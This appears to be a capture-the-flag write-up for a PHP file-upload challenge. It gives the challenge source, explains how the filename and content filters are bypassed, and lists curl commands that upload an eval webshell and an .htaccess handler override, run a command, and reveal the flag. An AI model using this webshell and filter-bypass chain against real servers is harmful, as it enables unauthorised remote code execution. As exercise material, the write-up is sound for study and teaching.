Source analysis
<?phphighlight_file(__FILE__);
$upload = 'upload/' . md5("2021" . $_SERVER['REMOTE_ADDR']);@mkdir($upload);file_put_contents($upload . '/index.php', '');var_dump($upload);
if (isset($_POST['file']) && isset($_POST['file'])) { if (preg_match('#.+\.ph(p[3457]?|t|tml)$|/#is', $_POST['file'])) { die('file error'); } if (preg_match('#\w{2,}|[678]|<\?|/#', $_POST['content'])) { die('content error'); } file_put_contents($upload . '/' . $_POST['file'], $_POST['content']);}
if (isset($_GET['reset'])) { @rmdir($upload);} string(39) "upload/8cecb394a757c7e7a02f7ed43677c303"- The upload path is deterministic and leaked by
var_dump($upload). - The filename filter only blocks extensions ending with
.php/.phtmlvariants, soarch.php.wtfpasses. - The content check applies
preg_matchto$_POST['content']; sendingcontent[]=makes it an array and bypasses the intended regex check. - Uploading
.htaccesswithSetHandler application/x-httpd-phpforces Apache to execute the uploaded non-.phpfile as PHP.
Exploit
# 1) Upload payload to a non-blocked extensioncurl -X POST \ -d "file=arch.php.wtf" \ -d "content[]=<?php eval(\$_POST['arch']); ?>" \ http://159.75.177.153:8888/
# 2) Enable PHP handler in the upload directorycurl -X POST \ -d "file=.htaccess" \ -d "content[]=SetHandler application/x-httpd-php" \ http://159.75.177.153:8888/
# 3) Execute command (replace <upload_dir> with leaked value)curl -X POST \ -d "arch=system('/readflag');" \ http://159.75.177.153:8888/upload/8cecb394a757c7e7a02f7ed43677c303/arch.php.wtfFlag:
flag{46dd5c50-3e80-485e-80f4-f46b5d85f4b8}